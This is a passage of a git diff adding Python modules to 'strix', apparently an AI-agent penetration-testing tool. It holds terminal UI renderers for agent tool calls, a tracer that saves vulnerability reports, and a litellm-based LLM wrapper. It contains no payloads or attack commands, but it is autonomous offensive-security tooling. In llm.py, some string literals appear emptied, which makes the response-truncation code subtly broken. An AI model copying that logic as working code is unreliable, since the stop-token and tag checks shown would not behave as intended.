[] + for entry in entries[:4]: + if isinstance(entry, dict): + label = entry.get("label", "?") + kind = entry.get("kind", "?") + line = f"{kind}: {label}" + entry_lines.append(line) + + if len(entries) > 4: + entry_lines.append(f"... +{len(entries) - 4} more") + + escaped_lines = [cls.escape_markup(line) for line in entry_lines] + content_text = f"{header}\n [dim]{chr(10).join(escaped_lines)}[/]" + else: + content_text = f"{header}\n [dim]No entries found[/]" + else: + content_text = f"{header}\n [dim]Loading...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + +@register_tool_renderer +class ViewSitemapEntryRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "view_sitemap_entry" + css_classes: ClassVar[list[str]] = ["tool-call", "proxy-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + result = tool_data.get("result") + + header = "📍 [bold #06b6d4]Viewing sitemap entry[/]" + + if result and isinstance(result, dict): + if "entry" in result: + entry = result["entry"] + if isinstance(entry, dict): + label = entry.get("label", "") + kind = entry.get("kind", "") + if label and kind: + entry_info = f"{kind}: {label}" + content_text = f"{header}\n [dim]{cls.escape_markup(entry_info)}[/]" + else: + content_text = f"{header}\n [dim]Entry details loaded[/]" + else: + content_text = f"{header}\n [dim]Entry details loaded[/]" + else: + content_text = f"{header}\n [dim]Loading entry...[/]" + else: + content_text = f"{header}\n [dim]Loading...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/python_renderer.py b/strix/cli/tool_components/python_renderer.py new file mode 100644 index 0000000..5ec6a6c --- /dev/null +++ b/strix/cli/tool_components/python_renderer.py @@ -0,0 +1,34 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class PythonRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "python_action" + css_classes: ClassVar[list[str]] = ["tool-call", "python-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + action = args.get("action", "") + code = args.get("code", "") + + header = " [bold #3b82f6]Python[/]" + + if code and action in ["new_session", "execute"]: + code_display = code[:250] + "..." if len(code) > 250 else code + content_text = f"{header}\n [italic white]{cls.escape_markup(code_display)}[/]" + elif action == "close": + content_text = f"{header}\n [dim]Closing session...[/]" + elif action == "list_sessions": + content_text = f"{header}\n [dim]Listing sessions...[/]" + else: + content_text = f"{header}\n [dim]Running...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) diff --git a/strix/cli/tool_components/registry.py b/strix/cli/tool_components/registry.py new file mode 100644 index 0000000..753a20b --- /dev/null +++ b/strix/cli/tool_components/registry.py @@ -0,0 +1,72 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer + + +class ToolTUIRegistry: + _renderers: ClassVar[dict[str, type[BaseToolRenderer]]] = {} + + @classmethod + def register(cls, renderer_class: type[BaseToolRenderer]) -> None: + if not renderer_class.tool_name: + raise ValueError(f"Renderer {renderer_class.__name__} must define tool_name") + + cls._renderers[renderer_class.tool_name] = renderer_class + + @classmethod + def get_renderer(cls, tool_name: str) -> type[BaseToolRenderer] | None: + return cls._renderers.get(tool_name) + + @classmethod + def list_tools(cls) -> list[str]: + return list(cls._renderers.keys()) + + @classmethod + def has_renderer(cls, tool_name: str) -> bool: + return tool_name in cls._renderers + + +def register_tool_renderer(renderer_class: type[BaseToolRenderer]) -> type[BaseToolRenderer]: + ToolTUIRegistry.register(renderer_class) + return renderer_class + + +def get_tool_renderer(tool_name: str) -> type[BaseToolRenderer] | None: + return ToolTUIRegistry.get_renderer(tool_name) + + +def render_tool_widget(tool_data: dict[str, Any]) -> Static: + tool_name = tool_data.get("tool_name", "") + renderer = get_tool_renderer(tool_name) + + if renderer: + return renderer.render(tool_data) + return _render_default_tool_widget(tool_data) + + +def _render_default_tool_widget(tool_data: dict[str, Any]) -> Static: + tool_name = BaseToolRenderer.escape_markup(tool_data.get("tool_name", "Unknown Tool")) + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + result = tool_data.get("result") + + status_text = BaseToolRenderer.get_status_icon(status) + + header = f"→ Using tool [bold blue]{tool_name}[/]" + content_parts = [header] + + args_str = BaseToolRenderer.format_args(args) + if args_str: + content_parts.append(args_str) + + if status in ["completed", "failed", "error"] and result is not None: + result_str = BaseToolRenderer.format_result(result) + if result_str: + content_parts.append(f"[bold]Result:[/] {result_str}") + else: + content_parts.append(status_text) + + css_classes = BaseToolRenderer.get_css_classes(status) + return Static("\n".join(content_parts), classes=css_classes) diff --git a/strix/cli/tool_components/reporting_renderer.py b/strix/cli/tool_components/reporting_renderer.py new file mode 100644 index 0000000..5762c22 --- /dev/null +++ b/strix/cli/tool_components/reporting_renderer.py @@ -0,0 +1,53 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class CreateVulnerabilityReportRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "create_vulnerability_report" + css_classes: ClassVar[list[str]] = ["tool-call", "reporting-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + title = args.get("title", "") + severity = args.get("severity", "") + content = args.get("content", "") + + header = "🐞 [bold #ea580c]Vulnerability Report[/]" + + if title: + content_parts = [f"{header}\n [bold]{cls.escape_markup(title)}[/]"] + + if severity: + severity_color = cls._get_severity_color(severity.lower()) + content_parts.append( + f" [dim]Severity: [{severity_color}]{severity.upper()}[/{severity_color}][/]" + ) + + if content: + content_preview = content[:100] + "..." if len(content) > 100 else content + content_parts.append(f" [dim]{cls.escape_markup(content_preview)}[/]") + + content_text = "\n".join(content_parts) + else: + content_text = f"{header}\n [dim]Creating report...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) + + @classmethod + def _get_severity_color(cls, severity: str) -> str: + severity_colors = { + "critical": "#dc2626", + "high": "#ea580c", + "medium": "#d97706", + "low": "#65a30d", + "info": "#0284c7", + } + return severity_colors.get(severity, "#6b7280") diff --git a/strix/cli/tool_components/scan_info_renderer.py b/strix/cli/tool_components/scan_info_renderer.py new file mode 100644 index 0000000..b96bd81 --- /dev/null +++ b/strix/cli/tool_components/scan_info_renderer.py @@ -0,0 +1,58 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class ScanStartInfoRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "scan_start_info" + css_classes: ClassVar[list[str]] = ["tool-call", "scan-info-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + + target = args.get("target", {}) + + target_display = cls._build_target_display(target) + + content = f"🚀 Starting scan on {target_display}" + + css_classes = cls.get_css_classes(status) + return Static(content, classes=css_classes) + + @classmethod + def _build_target_display(cls, target: dict[str, Any]) -> str: + if target_url := target.get("target_url"): + return f"[bold #22c55e]{target_url}[/bold #22c55e]" + if target_repo := target.get("target_repo"): + return f"[bold #22c55e]{target_repo}[/bold #22c55e]" + if target_path := target.get("target_path"): + return f"[bold #22c55e]{target_path}[/bold #22c55e]" + return "[dim]unknown target[/dim]" + + +@register_tool_renderer +class SubagentStartInfoRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "subagent_start_info" + css_classes: ClassVar[list[str]] = ["tool-call", "subagent-info-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + + name = args.get("name", "Unknown Agent") + task = args.get("task", "") + + content = f"🤖 Spawned subagent [bold #22c55e]{name}[/bold #22c55e]" + if task: + display_task = task[:80] + "..." if len(task) > 80 else task + content += f"\n Task: [dim]{display_task}[/dim]" + + css_classes = cls.get_css_classes(status) + return Static(content, classes=css_classes) diff --git a/strix/cli/tool_components/terminal_renderer.py b/strix/cli/tool_components/terminal_renderer.py new file mode 100644 index 0000000..f44853c --- /dev/null +++ b/strix/cli/tool_components/terminal_renderer.py @@ -0,0 +1,99 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class TerminalRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "terminal_action" + css_classes: ClassVar[list[str]] = ["tool-call", "terminal-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + status = tool_data.get("status", "unknown") + result = tool_data.get("result", {}) + + action = args.get("action", "unknown") + inputs = args.get("inputs", []) + terminal_id = args.get("terminal_id", "default") + + content = cls._build_sleek_content(action, inputs, terminal_id, result) + + css_classes = cls.get_css_classes(status) + return Static(content, classes=css_classes) + + @classmethod + def _build_sleek_content( + cls, + action: str, + inputs: list[str], + terminal_id: str, # noqa: ARG003 + result: dict[str, Any], # noqa: ARG003 + ) -> str: + terminal_icon = ">_" + + if action in {"create", "new_terminal"}: + command = cls._format_command(inputs) if inputs else "bash" + return f"{terminal_icon} [#22c55e]${command}[/]" + + if action == "send_input": + command = cls._format_command(inputs) + return f"{terminal_icon} [#22c55e]${command}[/]" + + if action == "wait": + return f"{terminal_icon} [dim]waiting...[/]" + + if action == "close": + return f"{terminal_icon} [dim]close[/]" + + if action == "get_snapshot": + return f"{terminal_icon} [dim]snapshot[/]" + + return f"{terminal_icon} [dim]{action}[/]" + + @classmethod + def _format_command(cls, inputs: list[str]) -> str: + if not inputs: + return "" + + command_parts = [] + + for input_item in inputs: + if input_item == "Enter": + break + if input_item.startswith("literal:"): + command_parts.append(input_item[8:]) + elif input_item in [ + "Space", + "Tab", + "Backspace", + "Up", + "Down", + "Left", + "Right", + "Home", + "End", + "PageUp", + "PageDown", + "Insert", + "Delete", + "Escape", + ] or input_item.startswith(("^", "C-", "S-", "A-", "F")): + if input_item == "Space": + command_parts.append(" ") + elif input_item == "Tab": + command_parts.append("\t") + continue + else: + command_parts.append(input_item) + + command = "".join(command_parts).strip() + + if len(command) > 200: + command = command[:197] + "..." + + return cls.escape_markup(command) if command else "bash" diff --git a/strix/cli/tool_components/thinking_renderer.py b/strix/cli/tool_components/thinking_renderer.py new file mode 100644 index 0000000..04a5f84 --- /dev/null +++ b/strix/cli/tool_components/thinking_renderer.py @@ -0,0 +1,29 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class ThinkRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "think" + css_classes: ClassVar[list[str]] = ["tool-call", "thinking-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + + thought = args.get("thought", "") + + header = "🧠 [bold #a855f7]Thinking[/]" + + if thought: + thought_display = thought[:200] + "..." if len(thought) > 200 else thought + content = f"{header}\n [italic dim]{cls.escape_markup(thought_display)}[/]" + else: + content = f"{header}\n [italic dim]Thinking...[/]" + + css_classes = cls.get_css_classes("completed") + return Static(content, classes=css_classes) diff --git a/strix/cli/tool_components/user_message_renderer.py b/strix/cli/tool_components/user_message_renderer.py new file mode 100644 index 0000000..4494575 --- /dev/null +++ b/strix/cli/tool_components/user_message_renderer.py @@ -0,0 +1,43 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class UserMessageRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "user_message" + css_classes: ClassVar[list[str]] = ["chat-message", "user-message"] + + @classmethod + def render(cls, message_data: dict[str, Any]) -> Static: + content = message_data.get("content", "") + + if not content: + return Static("", classes=cls.css_classes) + + if len(content) > 300: + content = content[:297] + "..." + + lines = content.split("\n") + bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines] + bordered_content = "\n".join(bordered_lines) + formatted_content = f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}" + + css_classes = " ".join(cls.css_classes) + return Static(formatted_content, classes=css_classes) + + @classmethod + def render_simple(cls, content: str) -> str: + if not content: + return "" + + if len(content) > 300: + content = content[:297] + "..." + + lines = content.split("\n") + bordered_lines = [f"[#3b82f6]▍[/#3b82f6] {line}" for line in lines] + bordered_content = "\n".join(bordered_lines) + return f"[#3b82f6]▍[/#3b82f6] [bold]You:[/]\n{bordered_content}" diff --git a/strix/cli/tool_components/web_search_renderer.py b/strix/cli/tool_components/web_search_renderer.py new file mode 100644 index 0000000..d933d7d --- /dev/null +++ b/strix/cli/tool_components/web_search_renderer.py @@ -0,0 +1,28 @@ +from typing import Any, ClassVar + +from textual.widgets import Static + +from .base_renderer import BaseToolRenderer +from .registry import register_tool_renderer + + +@register_tool_renderer +class WebSearchRenderer(BaseToolRenderer): + tool_name: ClassVar[str] = "web_search" + css_classes: ClassVar[list[str]] = ["tool-call", "web-search-tool"] + + @classmethod + def render(cls, tool_data: dict[str, Any]) -> Static: + args = tool_data.get("args", {}) + query = args.get("query", "") + + header = "🌐 [bold #60a5fa]Searching the web...[/]" + + if query: + query_display = query[:100] + "..." if len(query) > 100 else query + content_text = f"{header}\n [dim]{cls.escape_markup(query_display)}[/]" + else: + content_text = f"{header}" + + css_classes = cls.get_css_classes("completed") + return Static(content_text, classes=css_classes) diff --git a/strix/cli/tracer.py b/strix/cli/tracer.py new file mode 100644 index 0000000..0b4b317 --- /dev/null +++ b/strix/cli/tracer.py @@ -0,0 +1,308 @@ +import logging +from datetime import UTC, datetime +from pathlib import Path +from typing import Any, Optional +from uuid import uuid4 + + +logger = logging.getLogger(__name__) + +_global_tracer: Optional["Tracer"] = None + + +def get_global_tracer() -> Optional["Tracer"]: + return _global_tracer + + +def set_global_tracer(tracer: "Tracer") -> None: + global _global_tracer # noqa: PLW0603 + _global_tracer = tracer + + +class Tracer: + def __init__(self, run_name: str | None = None): + self.run_name = run_name + self.run_id = run_name or f"run-{uuid4().hex[:8]}" + self.start_time = datetime.now(UTC).isoformat() + self.end_time: str | None = None + + self.agents: dict[str, dict[str, Any]] = {} + self.tool_executions: dict[int, dict[str, Any]] = {} + self.chat_messages: list[dict[str, Any]] = [] + + self.vulnerability_reports: list[dict[str, Any]] = [] + self.final_scan_result: str | None = None + + self.scan_results: dict[str, Any] | None = None + self.scan_config: dict[str, Any] | None = None + self.run_metadata: dict[str, Any] = { + "run_id": self.run_id, + "run_name": self.run_name, + "start_time": self.start_time, + "end_time": None, + "target": None, + "scan_type": None, + "status": "running", + } + self._run_dir: Path | None = None + self._next_execution_id = 1 + self._next_message_id = 1 + + def set_run_name(self, run_name: str) -> None: + self.run_name = run_name + self.run_id = run_name + + def get_run_dir(self) -> Path: + if self._run_dir is None: + workspace_root = Path(__file__).parent.parent.parent + runs_dir = workspace_root / "agent_runs" + runs_dir.mkdir(exist_ok=True) + + run_dir_name = self.run_name if self.run_name else self.run_id + self._run_dir = runs_dir / run_dir_name + self._run_dir.mkdir(exist_ok=True) + + return self._run_dir + + def add_vulnerability_report( + self, + title: str, + content: str, + severity: str, + ) -> str: + report_id = f"vuln-{len(self.vulnerability_reports) + 1:04d}" + + report = { + "id": report_id, + "title": title.strip(), + "content": content.strip(), + "severity": severity.lower().strip(), + "timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"), + } + + self.vulnerability_reports.append(report) + logger.info(f"Added vulnerability report: {report_id} - {title}") + return report_id + + def set_final_scan_result( + self, + content: str, + success: bool = True, + ) -> None: + self.final_scan_result = content.strip() + + self.scan_results = { + "scan_completed": True, + "content": content, + "success": success, + } + + logger.info(f"Set final scan result: success={success}") + + def log_agent_creation( + self, agent_id: str, name: str, task: str, parent_id: str | None = None + ) -> None: + agent_data: dict[str, Any] = { + "id": agent_id, + "name": name, + "task": task, + "status": "running", + "parent_id": parent_id, + "created_at": datetime.now(UTC).isoformat(), + "updated_at": datetime.now(UTC).isoformat(), + "tool_executions": [], + } + + self.agents[agent_id] = agent_data + + def log_chat_message( + self, + content: str, + role: str, + agent_id: str | None = None, + metadata: dict[str, Any] | None = None, + ) -> int: + message_id = self._next_message_id + self._next_message_id += 1 + + message_data = { + "message_id": message_id, + "content": content, + "role": role, + "agent_id": agent_id, + "timestamp": datetime.now(UTC).isoformat(), + "metadata": metadata or {}, + } + + self.chat_messages.append(message_data) + return message_id + + def log_tool_execution_start(self, agent_id: str, tool_name: str, args: dict[str, Any]) -> int: + execution_id = self._next_execution_id + self._next_execution_id += 1 + + now = datetime.now(UTC).isoformat() + execution_data = { + "execution_id": execution_id, + "agent_id": agent_id, + "tool_name": tool_name, + "args": args, + "status": "running", + "result": None, + "timestamp": now, + "started_at": now, + "completed_at": None, + } + + self.tool_executions[execution_id] = execution_data + + if agent_id in self.agents: + self.agents[agent_id]["tool_executions"].append(execution_id) + + return execution_id + + def update_tool_execution( + self, execution_id: int, status: str, result: Any | None = None + ) -> None: + if execution_id in self.tool_executions: + self.tool_executions[execution_id]["status"] = status + self.tool_executions[execution_id]["result"] = result + self.tool_executions[execution_id]["completed_at"] = datetime.now(UTC).isoformat() + + def update_agent_status(self, agent_id: str, status: str) -> None: + if agent_id in self.agents: + self.agents[agent_id]["status"] = status + self.agents[agent_id]["updated_at"] = datetime.now(UTC).isoformat() + + def set_scan_config(self, config: dict[str, Any]) -> None: + self.scan_config = config + self.run_metadata.update( + { + "target": config.get("target", {}), + "scan_type": config.get("scan_type", "general"), + "user_instructions": config.get("user_instructions", ""), + "max_iterations": config.get("max_iterations", 200), + } + ) + + def save_run_data(self) -> None: + try: + run_dir = self.get_run_dir() + self.end_time = datetime.now(UTC).isoformat() + + if self.final_scan_result: + scan_report_file = run_dir / "scan_report.md" + with scan_report_file.open("w", encoding="utf-8") as f: + f.write("# Security Scan Report\n\n") + f.write( + f"**Generated:** {datetime.now(UTC).strftime('%Y-%m-%d %H:%M:%S UTC')}\n\n" + ) + f.write(f"{self.final_scan_result}\n") + logger.info(f"Saved final scan report to: {scan_report_file}") + + if self.vulnerability_reports: + vuln_dir = run_dir / "vulnerabilities" + vuln_dir.mkdir(exist_ok=True) + + severity_order = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} + sorted_reports = sorted( + self.vulnerability_reports, + key=lambda x: (severity_order.get(x["severity"], 5), x["timestamp"]), + ) + + for report in sorted_reports: + vuln_file = vuln_dir / f"{report['id']}.md" + with vuln_file.open("w", encoding="utf-8") as f: + f.write(f"# {report['title']}\n\n") + f.write(f"**ID:** {report['id']}\n") + f.write(f"**Severity:** {report['severity'].upper()}\n") + f.write(f"**Found:** {report['timestamp']}\n\n") + f.write("## Description\n\n") + f.write(f"{report['content']}\n") + + vuln_csv_file = run_dir / "vulnerabilities.csv" + with vuln_csv_file.open("w", encoding="utf-8", newline="") as f: + import csv + + fieldnames = ["id", "title", "severity", "timestamp", "file"] + writer = csv.DictWriter(f, fieldnames=fieldnames) + writer.writeheader() + + for report in sorted_reports: + writer.writerow( + { + "id": report["id"], + "title": report["title"], + "severity": report["severity"].upper(), + "timestamp": report["timestamp"], + "file": f"vulnerabilities/{report['id']}.md", + } + ) + + logger.info( + f"Saved {len(self.vulnerability_reports)} vulnerability reports to: {vuln_dir}" + ) + logger.info(f"Saved vulnerability index to: {vuln_csv_file}") + + logger.info(f"📊 Essential scan data saved to: {run_dir}") + + except (OSError, RuntimeError): + logger.exception("Failed to save scan data") + + def _calculate_duration(self) -> float: + try: + start = datetime.fromisoformat(self.start_time.replace("Z", "+00:00")) + if self.end_time: + end = datetime.fromisoformat(self.end_time.replace("Z", "+00:00")) + return (end - start).total_seconds() + except (ValueError, TypeError): + pass + return 0.0 + + def get_agent_tools(self, agent_id: str) -> list[dict[str, Any]]: + return [ + exec_data + for exec_data in self.tool_executions.values() + if exec_data.get("agent_id") == agent_id + ] + + def get_real_tool_count(self) -> int: + return sum( + 1 + for exec_data in self.tool_executions.values() + if exec_data.get("tool_name") not in ["scan_start_info", "subagent_start_info"] + ) + + def get_total_llm_stats(self) -> dict[str, Any]: + from strix.tools.agents_graph.agents_graph_actions import _agent_instances + + total_stats = { + "input_tokens": 0, + "output_tokens": 0, + "cached_tokens": 0, + "cache_creation_tokens": 0, + "cost": 0.0, + "requests": 0, + "failed_requests": 0, + } + + for agent_instance in _agent_instances.values(): + if hasattr(agent_instance, "llm") and hasattr(agent_instance.llm, "_total_stats"): + agent_stats = agent_instance.llm._total_stats + total_stats["input_tokens"] += agent_stats.input_tokens + total_stats["output_tokens"] += agent_stats.output_tokens + total_stats["cached_tokens"] += agent_stats.cached_tokens + total_stats["cache_creation_tokens"] += agent_stats.cache_creation_tokens + total_stats["cost"] += agent_stats.cost + total_stats["requests"] += agent_stats.requests + total_stats["failed_requests"] += agent_stats.failed_requests + + total_stats["cost"] = round(total_stats["cost"], 4) + + return { + "total": total_stats, + "total_tokens": total_stats["input_tokens"] + total_stats["output_tokens"], + } + + def cleanup(self) -> None: + self.save_run_data() diff --git a/strix/llm/__init__.py b/strix/llm/__init__.py new file mode 100644 index 0000000..bc23f40 --- /dev/null +++ b/strix/llm/__init__.py @@ -0,0 +1,12 @@ +import litellm + +from .config import LLMConfig +from .llm import LLM + + +__all__ = [ + "LLM", + "LLMConfig", +] + +litellm.drop_params = True diff --git a/strix/llm/config.py b/strix/llm/config.py new file mode 100644 index 0000000..17bc675 --- /dev/null +++ b/strix/llm/config.py @@ -0,0 +1,19 @@ +import os + + +class LLMConfig: + def __init__( + self, + model_name: str | None = None, + temperature: float = 0, + enable_prompt_caching: bool = True, + prompt_modules: list[str] | None = None, + ): + self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-sonnet-4-20250514") + + if not self.model_name: + raise ValueError("STRIX_LLM environment variable must be set and not empty") + + self.temperature = max(0.0, min(1.0, temperature)) + self.enable_prompt_caching = enable_prompt_caching + self.prompt_modules = prompt_modules or [] diff --git a/strix/llm/llm.py b/strix/llm/llm.py new file mode 100644 index 0000000..65804d1 --- /dev/null +++ b/strix/llm/llm.py @@ -0,0 +1,310 @@ +import logging +import os +from dataclasses import dataclass +from enum import Enum +from pathlib import Path +from typing import Any + +import litellm +from jinja2 import ( + Environment, + FileSystemLoader, + select_autoescape, +) +from litellm import ModelResponse, completion_cost +from litellm.utils import supports_prompt_caching + +from strix.llm.config import LLMConfig +from strix.llm.memory_compressor import MemoryCompressor +from strix.llm.request_queue import get_global_queue +from strix.llm.utils import _truncate_to_first_function, parse_tool_invocations +from strix.prompts import load_prompt_modules +from strix.tools import get_tools_prompt + + +logger = logging.getLogger(__name__) + +api_key = os.getenv("LLM_API_KEY") +if api_key: + litellm.api_key = api_key + + +class StepRole(str, Enum): + AGENT = "agent" + USER = "user" + SYSTEM = "system" + + +@dataclass +class LLMResponse: + content: str + tool_invocations: list[dict[str, Any]] | None = None + scan_id: str | None = None + step_number: int = 1 + role: StepRole = StepRole.AGENT + + +@dataclass +class RequestStats: + input_tokens: int = 0 + output_tokens: int = 0 + cached_tokens: int = 0 + cache_creation_tokens: int = 0 + cost: float = 0.0 + requests: int = 0 + failed_requests: int = 0 + + def to_dict(self) -> dict[str, int | float]: + return { + "input_tokens": self.input_tokens, + "output_tokens": self.output_tokens, + "cached_tokens": self.cached_tokens, + "cache_creation_tokens": self.cache_creation_tokens, + "cost": round(self.cost, 4), + "requests": self.requests, + "failed_requests": self.failed_requests, + } + + +class LLM: + def __init__(self, config: LLMConfig, agent_name: str | None = None): + self.config = config + self.agent_name = agent_name + self._total_stats = RequestStats() + self._last_request_stats = RequestStats() + + self.memory_compressor = MemoryCompressor() + + if agent_name: + prompt_dir = Path(__file__).parent.parent / "agents" / agent_name + prompts_dir = Path(__file__).parent.parent / "prompts" + + loader = FileSystemLoader([prompt_dir, prompts_dir]) + self.jinja_env = Environment( + loader=loader, + autoescape=select_autoescape(enabled_extensions=(), default_for_string=False), + ) + + try: + prompt_module_content = load_prompt_modules( + self.config.prompt_modules or [], self.jinja_env + ) + + def get_module(name: str) -> str: + return prompt_module_content.get(name, "") + + self.jinja_env.globals["get_module"] = get_module + + self.system_prompt = self.jinja_env.get_template("system_prompt.jinja").render( + get_tools_prompt=get_tools_prompt, + loaded_module_names=list(prompt_module_content.keys()), + **prompt_module_content, + ) + except (FileNotFoundError, OSError, ValueError) as e: + logger.warning(f"Failed to load system prompt for {agent_name}: {e}") + self.system_prompt = "You are a helpful AI assistant." + else: + self.system_prompt = "You are a helpful AI assistant." + + def _add_cache_control_to_content( + self, content: str | list[dict[str, Any]] + ) -> str | list[dict[str, Any]]: + if isinstance(content, str): + return [{"type": "text", "text": content, "cache_control": {"type": "ephemeral"}}] + if isinstance(content, list) and content: + last_item = content[-1] + if isinstance(last_item, dict) and last_item.get("type") == "text": + return content[:-1] + [{**last_item, "cache_control": {"type": "ephemeral"}}] + return content + + def _is_anthropic_model(self) -> bool: + if not self.config.model_name: + return False + model_lower = self.config.model_name.lower() + return any(provider in model_lower for provider in ["anthropic/", "claude"]) + + def _calculate_cache_interval(self, total_messages: int) -> int: + if total_messages <= 1: + return 10 + + max_cached_messages = 3 + non_system_messages = total_messages - 1 + + interval = 10 + while non_system_messages // interval > max_cached_messages: + interval += 10 + + return interval + + def _prepare_cached_messages(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]: + if ( + not self.config.enable_prompt_caching + or not supports_prompt_caching(self.config.model_name) + or not messages + ): + return messages + + if not self._is_anthropic_model(): + return messages + + cached_messages = list(messages) + + if cached_messages and cached_messages[0].get("role") == "system": + system_message = cached_messages[0].copy() + system_message["content"] = self._add_cache_control_to_content( + system_message["content"] + ) + cached_messages[0] = system_message + + total_messages = len(cached_messages) + if total_messages > 1: + interval = self._calculate_cache_interval(total_messages) + + cached_count = 0 + for i in range(interval, total_messages, interval): + if cached_count >= 3: + break + + if i < len(cached_messages): + message = cached_messages[i].copy() + message["content"] = self._add_cache_control_to_content(message["content"]) + cached_messages[i] = message + cached_count += 1 + + return cached_messages + + async def generate( + self, + conversation_history: list[dict[str, Any]], + scan_id: str | None = None, + step_number: int = 1, + ) -> LLMResponse: + messages = [{"role": "system", "content": self.system_prompt}] + + compressed_history = list(self.memory_compressor.compress_history(conversation_history)) + + conversation_history.clear() + conversation_history.extend(compressed_history) + messages.extend(compressed_history) + + cached_messages = self._prepare_cached_messages(messages) + + try: + response = await self._make_request(cached_messages) + self._update_usage_stats(response) + + content = "" + if ( + response.choices + and hasattr(response.choices[0], "message") + and response.choices[0].message + ): + content = getattr(response.choices[0].message, "content", "") or "" + + content = _truncate_to_first_function(content) + + if "" in content: + function_end_index = content.find("") + len("") + content = content[:function_end_index] + + tool_invocations = parse_tool_invocations(content) + + return LLMResponse( + scan_id=scan_id, + step_number=step_number, + role=StepRole.AGENT, + content=content, + tool_invocations=tool_invocations if tool_invocations else None, + ) + + except (ValueError, TypeError, RuntimeError): + logger.exception("Error in LLM generation") + return LLMResponse( + scan_id=scan_id, + step_number=step_number, + role=StepRole.AGENT, + content="An error occurred while generating the response", + tool_invocations=None, + ) + + @property + def usage_stats(self) -> dict[str, dict[str, int | float]]: + return { + "total": self._total_stats.to_dict(), + "last_request": self._last_request_stats.to_dict(), + } + + def get_cache_config(self) -> dict[str, bool]: + return { + "enabled": self.config.enable_prompt_caching, + "supported": supports_prompt_caching(self.config.model_name), + } + + async def _make_request( + self, + messages: list[dict[str, Any]], + ) -> ModelResponse: + completion_args = { + "model": self.config.model_name, + "messages": messages, + "temperature": self.config.temperature, + "stop": [""], + } + + queue = get_global_queue() + response = await queue.make_request(completion_args) + + self._total_stats.requests += 1 + self._last_request_stats = RequestStats(requests=1) + + return response + + def _update_usage_stats(self, response: ModelResponse) -> None: + try: + if hasattr(response, "usage") and response.usage: + input_tokens = getattr(response.usage, "prompt_tokens", 0) + output_tokens = getattr(response.usage, "completion_tokens", 0) + + cached_tokens = 0 + cache_creation_tokens = 0 + + if hasattr(response.usage, "prompt_tokens_details"): + prompt_details = response.usage.prompt_tokens_details + if hasattr(prompt_details, "cached_tokens"): + cached_tokens = prompt_details.cached_tokens or 0 + + if hasattr(response.usage, "cache_creation_input_tokens"): + cache_creation_tokens = response.usage.cache_creation_input_tokens or 0 + + else: + input_tokens = 0 + output_tokens = 0 + cached_tokens = 0 + cache_creation_tokens = 0 + + try: + cost = completion_cost(response) or 0.0 + except (ValueError, TypeError, RuntimeError) as e: + logger.warning(f"Failed to calculate cost: {e}") + cost = 0.0 + + self._total_stats.input_tokens += input_tokens + self._total_stats.output_tokens += output_tokens + self._total_stats.cached_tokens += cached_tokens + self._total_stats.cache_creation_tokens += cache_creation_tokens + self._total_stats.cost += cost + + self._last_request_stats.input_tokens = input_tokens + self._last_request_stats.output_tokens = output_tokens + self._last_request_stats.cached_tokens = cached_tokens + self._last_request_stats.cache_creation_tokens = cache_creation_tokens + self._last_request_stats.cost = cost + + if cached_tokens > 0: + logger.info(f"Cache hit: {cached_tokens} cached tokens, {input_tokens} new tokens") + if cache_creation_tokens > 0: + logger.info(f"Cache creation: {cache_creation_tokens} tokens written to cache") + + logger.info(f"Usage stats: {self.usage_stats}") + except (AttributeError, TypeError, ValueError) as e: + logger.warning(f"Failed to update usage stats: {e}") diff --git a/strix/llm/memory_compressor.py b/strix/llm/memory_compressor.py new file mode 100644 index 0000000..c800e5c --- /dev/null +++ b/strix/llm/memory_compressor.py @@ -0,0 +1,206 @@ +import logging +import os +from typing import Any + +import litellm + + +logger = logging.getLogger(__name__) + + +MAX_TOTAL_TOKENS = 100_000 +MIN_RECENT_MESSAGES = 15 + 